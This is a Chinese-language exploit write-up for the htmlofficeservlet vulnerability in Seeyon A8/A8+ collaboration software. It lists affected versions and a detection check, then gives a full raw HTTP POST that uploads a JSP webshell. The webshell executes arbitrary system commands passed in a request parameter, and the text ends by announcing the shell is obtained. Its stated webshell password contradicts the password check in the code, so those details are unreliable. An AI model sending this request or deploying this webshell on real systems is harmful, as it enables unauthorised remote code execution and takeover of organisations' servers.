影響版本：
致遠A8-V5協同管理軟件V6.1sp1
致遠A8+協同管理軟件V7.0、V7.0sp1、V7.0sp2、V7.0sp3
致遠A8+協同管理軟件V7.1
漏洞驗證：
訪問/seeyon/htmlofficeservlet
出現下圖所示的內容，表示可能存在漏洞。
如下圖所示：
復現流程：
post提交數據
POST /seeyon/htmlofficeservlet HTTP/1.1 Host: 1.1.1.1:8888 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: JSESSIONID=FB4C369D7EF8B0989FCE7160359DFA76; loginPageURL= Connection: close Content-Length: 1097 DBSTEP V3.0 343 0 658 DBSTEP=OKMLlKlV OPTION=S3WYOSWLBSGr currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66 CREATEDATE=wUghPB3szB3Xwg66 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6 originalFileId=wV66 originalCreateDate=wUghPB3szB3Xwg66 FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdb4o5nHzs needReadFile=yRWZdAS6 originalCreateDate=wLSGP4oEzLKAz4=iz=66 <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("x".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce
提交成功會有正常頁面回顯，此時webshell地址為/seeyon/test123456.jsp，密碼為：asasd3344。如果無回顯或者是非200狀態碼，說明可能不存在此漏洞，
shell到手：
